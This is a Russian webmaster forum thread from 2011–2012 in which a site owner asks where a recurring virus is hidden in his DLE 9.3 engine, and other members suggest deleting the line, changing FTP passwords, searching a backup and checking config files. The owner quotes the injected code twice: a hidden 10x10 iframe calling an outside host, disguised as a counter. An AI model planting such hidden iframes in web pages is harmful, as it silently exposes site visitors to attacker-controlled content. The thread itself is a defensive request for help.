X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на сайте мож кто знает такой?
tsa
tsa
Topic Starter сообщение 26.9.2011, 18:34; Ответить: tsa
Сообщение #1


Бывалый
****

Группа: User
Сообщений: 330
Регистрация: 6.2.2011
Из: manucoz.ru
Поблагодарили: 17 раз
Репутация:   -7  


Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Сообщение отредактировал tsa - 26.9.2011, 18:35


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 18:57; Ответить: serhio11
Сообщение #2


Частый гость
**

Группа: User
Сообщений: 63
Регистрация: 7.6.2011
Поблагодарили: 18 раз
Репутация:   5  


(tsa @ 26.9.2011, 18:34) *
Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:00; Ответить: tsa
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 330
Регистрация: 6.2.2011
Из: manucoz.ru
Поблагодарили: 17 раз
Репутация:   -7  


(serhio11 @ 26.9.2011, 18:57) *
Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.

я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 19:10; Ответить: serhio11
Сообщение #4


Частый гость
**

Группа: User
Сообщений: 63
Регистрация: 7.6.2011
Поблагодарили: 18 раз
Репутация:   5  


(tsa @ 26.9.2011, 19:00) *
я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:21; Ответить: tsa
Сообщение #5


Бывалый
****

Группа: User
Сообщений: 330
Регистрация: 6.2.2011
Из: manucoz.ru
Поблагодарили: 17 раз
Репутация:   -7  


(serhio11 @ 26.9.2011, 19:10) *
Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.

Поиск не дал результатов =( наверно как то зашифрован данный код =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
infant
infant
сообщение 26.9.2011, 19:38; Ответить: infant
Сообщение #6


Участник
***

Группа: User
Сообщений: 239
Регистрация: 25.2.2008
Из: Барнаул
Поблагодарили: 82 раза
Репутация:   20  


в личку напишите, попробую помочь найти вашу беду. Весь двиг перебирать не буду, но самые подверженные файлы пройдусь на предмет лишнего в них.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Grouom
Grouom
сообщение 27.9.2011, 14:01; Ответить: Grouom
Сообщение #7


Участник
***


Группа: User
Сообщений: 117
Регистрация: 9.7.2011
Из: Украина
Поблагодарили: 8 раз
Репутация:   -2  


Самый простой способ удалить вирус - заменить движок (перезалить). Если конечно в него не вносились изменения...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
algaretio
algaretio
сообщение 27.9.2011, 21:21; Ответить: algaretio
Сообщение #8


Завсегдатай
*****

Группа: Active User
Сообщений: 681
Регистрация: 10.3.2008
Поблагодарили: 71 раз
Репутация:   17  


Он может быть в папке Engine, в engine/data/config.php, если не ошибаюсь, также можете проверить dbconfig.php, код может быть зашифрован. Лучше вообще поставить на эти файлы 644, конечно тогда в админке не сможете менять настройки движка, но тут уж выбирайте smile.gif

Сообщение отредактировал algaretio - 27.9.2011, 21:22


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
МIX
МIX
сообщение 27.9.2011, 21:43; Ответить: МIX
Сообщение #9


Частый гость
**

Группа: User
Сообщений: 79
Регистрация: 19.1.2010
Из: сеть
Поблагодарили: 9 раз
Репутация:   1  


Вирусы обычно заражают по 500...800 файлов.
Удаление вирусов с сайта интересует? Пишите в ЛС, а лучше, в аську сразу.

Сообщение отредактировал МIX - 27.9.2011, 21:44
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 23.3.2012, 12:06; Ответить: tsa
Сообщение #10


Бывалый
****

Группа: User
Сообщений: 330
Регистрация: 6.2.2011
Из: manucoz.ru
Поблагодарили: 17 раз
Репутация:   -7  


Блин полгода не появлялся этот вирус думал удалил вот снова появился как его найти вотд код вируса

<iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"></iframe>

он наверно как то зашифрован и в ручную искал и сервисами ни чего не дало результатов =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Facebook палит прокси. Кто как решает эту проблему?
28 Twickbot 3607 Сегодня, 20:26
автор: galikfor
Открытая тема (нет новых ответов) SimplePay: Прием платежей на сайте для юридических и физических лиц
2 kuprum 322 Сегодня, 15:50
автор: kuprum
Горячая тема (нет новых ответов) Рекомендую: размещение статьи на сайте, ТИЦ 325, PR 6, траст XT 8
44 rumblade 10641 Сегодня, 15:45
автор: rumblade
Открытая тема (нет новых ответов) Кто продвигает сайт в яндексе массовой закупкой ссылок?
14 aleggator 1912 Сегодня, 13:09
автор: lesssss81
Открытая тема (нет новых ответов) 10 бесплатных сервисов Google для бизнеса, о которых мало кто слышал
18 jack 5812 Сегодня, 12:29
автор: Akeeloq


 



RSS Текстовая версия Сейчас: 14.12.2017, 21:41
Дизайн